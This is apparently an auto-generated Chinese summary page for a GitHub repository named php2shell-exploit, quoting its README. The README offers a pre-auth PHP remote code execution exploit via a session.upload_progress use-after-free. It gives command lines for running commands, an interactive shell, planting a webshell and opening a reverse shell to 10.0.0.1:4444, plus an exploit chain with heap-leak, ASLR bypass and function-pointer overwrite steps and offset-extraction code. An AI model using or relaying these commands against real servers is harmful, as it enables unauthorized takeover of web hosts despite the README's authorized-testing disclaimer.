JoasASantos/php2shell-exploit

选用指南

AI 根据 README 整理 · 2026/10/23 14:56:47

使用方式

通过命令行使用，支持单命令、交互式shell、webshell和反向shell模式。

查看 README 依据

python3 exploit.py -t http://127.0.0.1:18110/index.php --cmd id # 5. Interactive shell (webshell in-band, auto-fallback) python3 exploit.py -t http://127.0.0.1:18110/index.php -i # 6. Webshell mode for single command python3 exploit.py -t http://127.0.0.1:18110/index.php --cmd id --mode webshell # 7. Reverse shell python3 exploit.py -t http://127.0.0.1:18110/index.php --reverse 10.0.0.1:4444 ``` ## Exploit Chain ``` A1 OOM → dangling PS(id) + PS(mod_data) B1 Stale-ID OOB read → ~800KB heap leak → libphp base + chunk base A2 Cheap OOM → dangling PS(http_session_vars)

B2 Fake-ref spray → pDestructor=zif_system → system(cmd) ``` **In-band execution (two-stage):** 1. B2 plants PHP webshell on webroot (worker crashes, one-time cost) 2. Subsequent commands via HTTP GET — output in response body 3. Auto-cleanup on exit ## Execution Modes | Mode | Flag | How | |------|------|-----| | Single cmd | `--cmd "id"` | File-based via /out/ | | Webshell | `--mode webshell --cmd "id"` | Plant + execute + cleanup | | Interactive | `-i` | Webshell (auto file fallback) | | File I/O | `-i --mode file` | Each cmd = fresh exploit chain |

部署要求

需要Python 3环境，并可通过Docker启动测试环境。

查看 README 依据

- Profile system with auto-calibration - Worker pinning for multi-worker Apache pools ## Quick Start ```bash # 1. Start lab cd docker && docker compose up -d && cd .. # 2. Extract offsets python3 -c " from lib.offsets import extract_from_container, save_offsets_env z, d = extract_from_container('php2shell-target') save_offsets_env('out/offsets.env', z, d) print(f'zif_system=0x{z:x} zval_ptr_dtor=0x{d:x}') " # 3. Recon only python3 exploit.py -t http://127.0.0.1:18110/index.php --recon-only # 4. Single command (file-based output via /out/)

已知限制

仅用于授权安全测试，且当前实现会导致worker崩溃。

查看 README 依据

# php2shell-exploit Universal PHP RCE exploit for **CVE-2026-109618** / **CVE-2026-109619**. Pre-auth, cookie-less, pure-HTTP remote code execution via `session.upload_progress` use-after-free. Heap-based ASLR bypass + function pointer overwrite = shell. **Created by: Joas A Santos ([@c0d3cr4zy](https://github.com/JoasASantos))**   ## Disclaimer **Authorized security testing, research, and education ONLY.** Unauthorized access is illegal. Authors not responsible for misuse.

Current exploit uses `pDestructor=zif_system` (worker crashes after RCE). Wiz's original php2shell achieves **crash-free single-request in-band execution** via a different primitive. Steps to replicate: 1. **Locate `PG(auto_prepend_file)` offset in libphp BSS** - `PG()` macro accesses `core_globals` struct in `.bss` - `auto_prepend_file` is a `char*` field at known offset within `php_core_globals` - Need: `objdump -t libphp.so | grep core_globals` + struct offset from PHP headers 2. **Arbitrary write primitive via fake HashTable**